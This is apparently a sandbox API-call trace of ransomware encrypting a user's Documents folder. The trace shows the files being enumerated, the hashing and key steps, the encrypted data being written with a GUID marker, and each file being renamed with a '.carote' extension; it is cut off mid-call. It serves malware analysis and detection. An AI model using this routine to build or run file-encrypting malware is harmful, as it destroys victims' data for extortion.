hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.154] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.154] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.154] GetLastError () returned 0x0 [0112.154] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.154] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.154] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.154] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb8d0) returned 0x7b182e0 [0112.154] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.154] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.154] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xb8c0, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xb8c0, lpOverlapped=0x0) returned 1 [0112.154] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.154] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb8c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.154] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0a40 [0112.155] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0112.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.155] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0112.155] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0112.155] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0a40 | out: hHeap=0x5010000) returned 1 [0112.155] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.155] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.155] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.155] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.155] CloseHandle (hObject=0x61c) returned 1 [0112.156] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x510f570 [0112.156] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.156] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x510f570 | out: hHeap=0x5010000) returned 1 [0112.156] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dCzpsluKVRUVVZ8bGKcj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dczpslukvruvvz8bgkcj.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dCzpsluKVRUVVZ8bGKcj.pptx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dczpslukvruvvz8bgkcj.pptx.carote")) returned 1 [0112.156] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.156] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.157] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x795fb98 | out: hHeap=0x5010000) returned 1 [0112.157] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.157] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0a40 [0112.157] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x7a3f060 [0112.157] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0a40 | out: hHeap=0x5010000) returned 1 [0112.157] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0112.157] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.157] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb02a11f0, ftCreationTime.dwHighDateTime=0x1d4cfbe, ftLastAccessTime.dwLowDateTime=0x2932e900, ftLastAccessTime.dwHighDateTime=0x1d4d0b4, ftLastWriteTime.dwLowDateTime=0x2932e900, ftLastWriteTime.dwHighDateTime=0x1d4d0b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m8Ml-6lNM1 wULCS0yD", cAlternateFileName="M8ML-6~1")) returned 1 [0112.157] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0112.157] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.158] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf08 [0112.158] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.158] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0112.158] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0112.158] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.158] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0112.158] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48150 [0112.158] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a482b8 | out: hHeap=0x5010000) returned 1 [0112.158] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.158] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0112.158] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.158] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a482b8 [0112.158] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x16c) returned 0x7a617c0 [0112.158] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0112.158] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0112.158] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0112.158] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfce75470, ftCreationTime.dwHighDateTime=0x1d4ccdb, ftLastAccessTime.dwLowDateTime=0xb8338960, ftLastAccessTime.dwHighDateTime=0x1d4ca1b, ftLastWriteTime.dwLowDateTime=0xb8338960, ftLastWriteTime.dwHighDateTime=0x1d4ca1b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="p4QbPuBf", cAlternateFileName="")) returned 1 [0112.158] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7459430, ftCreationTime.dwHighDateTime=0x1d5081a, ftLastAccessTime.dwLowDateTime=0x8177e5e0, ftLastAccessTime.dwHighDateTime=0x1d52062, ftLastWriteTime.dwLowDateTime=0x8177e5e0, ftLastWriteTime.dwHighDateTime=0x1d52062, nFileSizeHigh=0x0, nFileSizeLow=0x1205, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qv XM3woqTwbpxO3v.xlsx", cAlternateFileName="QVXM3W~1.XLS")) returned 1 [0112.158] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qv XM3woqTwbpxO3v.xlsx") returned=".xlsx" [0112.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qv XM3woqTwbpxO3v.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qv xm3woqtwbpxo3v.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.159] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=4613) returned 1 [0112.159] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.161] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.161] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.162] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x1205, lpOverlapped=0x0) returned 1 [0112.163] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.163] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.163] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.163] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0112.164] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.164] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.164] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.164] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.164] GetLastError () returned 0x0 [0112.164] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.164] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0112.164] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.164] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1205, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.164] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.164] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.164] CloseHandle (hObject=0x61c) returned 1 [0112.165] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qv XM3woqTwbpxO3v.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qv xm3woqtwbpxo3v.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qv XM3woqTwbpxO3v.xlsx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qv xm3woqtwbpxo3v.xlsx.carote")) returned 1 [0112.166] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.166] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.166] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.166] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x824549f0, ftCreationTime.dwHighDateTime=0x1d4ce0e, ftLastAccessTime.dwLowDateTime=0x731cfcb0, ftLastAccessTime.dwHighDateTime=0x1d4cee1, ftLastWriteTime.dwLowDateTime=0x731cfcb0, ftLastWriteTime.dwHighDateTime=0x1d4cee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SmG7", cAlternateFileName="")) returned 1 [0112.167] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a16e980, ftCreationTime.dwHighDateTime=0x1d4e9f2, ftLastAccessTime.dwLowDateTime=0xe5fa5540, ftLastAccessTime.dwHighDateTime=0x1d4d754, ftLastWriteTime.dwLowDateTime=0xe5fa5540, ftLastWriteTime.dwHighDateTime=0x1d4d754, nFileSizeHigh=0x0, nFileSizeLow=0x17a5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t40QA1IsS7nqa.pptx", cAlternateFileName="T40QA1~1.PPT")) returned 1 [0112.167] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t40QA1IsS7nqa.pptx") returned=".pptx" [0112.167] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t40QA1IsS7nqa.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t40qa1iss7nqa.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.167] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=96859) returned 1 [0112.168] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.169] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17a35, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.169] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.171] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.171] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x17a5b, lpOverlapped=0x0) returned 1 [0112.172] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.172] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.172] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.172] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0112.172] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.172] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.172] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.172] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.172] GetLastError () returned 0x0 [0112.173] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.173] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0112.173] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.174] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17a5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.174] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.174] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.174] CloseHandle (hObject=0x61c) returned 1 [0112.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t40QA1IsS7nqa.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t40qa1iss7nqa.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t40QA1IsS7nqa.pptx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t40qa1iss7nqa.pptx.carote")) returned 1 [0112.175] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.175] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.176] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.176] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713ec1f0, ftCreationTime.dwHighDateTime=0x1d50f7b, ftLastAccessTime.dwLowDateTime=0x10635a0, ftLastAccessTime.dwHighDateTime=0x1d53652, ftLastWriteTime.dwLowDateTime=0x10635a0, ftLastWriteTime.dwHighDateTime=0x1d53652, nFileSizeHigh=0x0, nFileSizeLow=0x846d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ueCUDl.docx", cAlternateFileName="UECUDL~1.DOC")) returned 1 [0112.176] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ueCUDl.docx") returned=".docx" [0112.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ueCUDl.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uecudl.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.177] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=33901) returned 1 [0112.177] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.179] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8447, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.179] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.180] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x846d, lpOverlapped=0x0) returned 1 [0112.181] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.181] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.181] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.181] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ebfa0) returned 1 [0112.182] CryptCreateHash (in: hProv=0x50ebfa0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.182] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.182] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.182] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.182] GetLastError () returned 0x0 [0112.182] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.182] CryptReleaseContext (hProv=0x50ebfa0, dwFlags=0x0) returned 1 [0112.183] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x846d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.183] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.183] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.183] CloseHandle (hObject=0x61c) returned 1 [0112.184] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ueCUDl.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uecudl.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ueCUDl.docx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uecudl.docx.carote")) returned 1 [0112.185] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2b1700, ftCreationTime.dwHighDateTime=0x1d4f7bd, ftLastAccessTime.dwLowDateTime=0xa63b5190, ftLastAccessTime.dwHighDateTime=0x1d528d8, ftLastWriteTime.dwLowDateTime=0xa63b5190, ftLastWriteTime.dwHighDateTime=0x1d528d8, nFileSizeHigh=0x0, nFileSizeLow=0x95a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uzFglAG bSH.xlsx", cAlternateFileName="UZFGLA~1.XLS")) returned 1 [0112.185] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uzFglAG bSH.xlsx") returned=".xlsx" [0112.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\uzFglAG bSH.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\uzfglag bsh.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 